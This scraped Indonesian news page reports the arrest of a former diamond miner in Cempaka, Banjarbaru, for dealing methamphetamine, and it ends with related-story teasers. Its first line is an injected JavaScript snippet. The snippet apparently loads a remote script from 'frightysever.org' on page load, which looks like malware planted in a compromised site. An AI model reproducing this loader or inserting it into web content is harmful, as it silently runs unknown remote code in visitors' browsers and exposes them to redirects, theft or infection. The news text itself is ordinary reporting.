(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sulitnya mencari pekerjaan jadi dalih MH (29) warga Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru, nekat jual barang haram narkoba jenis sabu.
Apa saja untuk mencukupi kebutuhannya pekerjaan tak halal jadi pilihannya.
Laki-laki yang dulunya seorang penambang intang di Pumpung Cempaka ini, karena pendapatan yang tak menentu ia putar haluan edarkan sabu.
Hal ini diakui sendiri MH (29), dirinya belum berapa lama ini menjadi pengedar sabu disebabkan sulitnya mencari pekerjaan dan hasil pendulangan intan yang tak menentu setiap harinya.
Baca juga :Â Pekan Jurnalistik VI LPM Lentera Uniska Bakal Hadirkan Dua Wartawan Senior, Kupas Jurnalisme Warga
“Baru aja, tak lama ini, lebih mudah mendapatkan uang, keuntungan banyak dan lebih mudah menjual,” ujarnya kepada kanalkalimantan.com, Kamis (4/8/2022) siang.
Dirinya mengaku sekali ambil bisa satu hingga dua kantong, yang mana barang haram tersebut didapatnya dari seorang bandar yang ada di Kota Banjarmasin.
Laku tak halal itu akhirnya MH dibekuk Unit Reskrim Polsek Cempaka di kediamannya di Sungai Tiung.
“Kita bekuk di kediamannya, barang bukti sabu 8,26 gram disimpan di kamarnya di bawah kasur,” ujar Kapolsek Cempaka, Ipda Dr Subroto Rindang Arie Setyawan SH MH.
Baca juga : SMPN 1 Astambul Juara Festival Rudat
Dituturkan Ipda Subroto, Habibi mengedarkan sabu di wilayah Cempaka dan Kota Banjarbaru.
Ipda Subroto membeberkan pihaknya selama seminggu mengikuti kegiatan pelaku, hingga menerima sabu yang diduga dari Banjarmasin.
Sabu 8,26 gram kalau dirupiahkan sebesar Rp 12 juta dan dapat menyelamatkan setidaknya 80 jiwa.
Dari keterangan pelaku dirinya mengedarkan sabu dari kalangan remaja umur 16 tahun ke atas.
Baca juga : FKMKB 2022-2024 Dilantik, Ini Pesan Bupati Saidi Mansyur
Dengan ditangkapnya pengedar sabu asal Cempaka, 8,26 gram sabu merupakan tangkapan terbesar sepanjang tahun 2022 di Kota Banjarbaru.
Sabu milik MH langsung diblender dengan larutan deterjen dan kemudian dimasukkan ke septic tank Mapolsek Cempaka.
Melihat barangnya dimusnahkan, MH mengaku senang dan menyesal telah melakukan jalan yang salah, usia mudanya bakal dihabiskan dibalik jeruji besi.
Ia pun mendekam di sel tahanan Mapolsek Cempaka guna proses hukum lebih lanjut.
Ipda Subroto menerangkan dengan adanya barang bukti sabu 8,26 gram, pelaku disangkakan Pasal 114 Ayat (2) tentang Narkotika, dengan ancaman kurungan maksimal seumur hidup.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.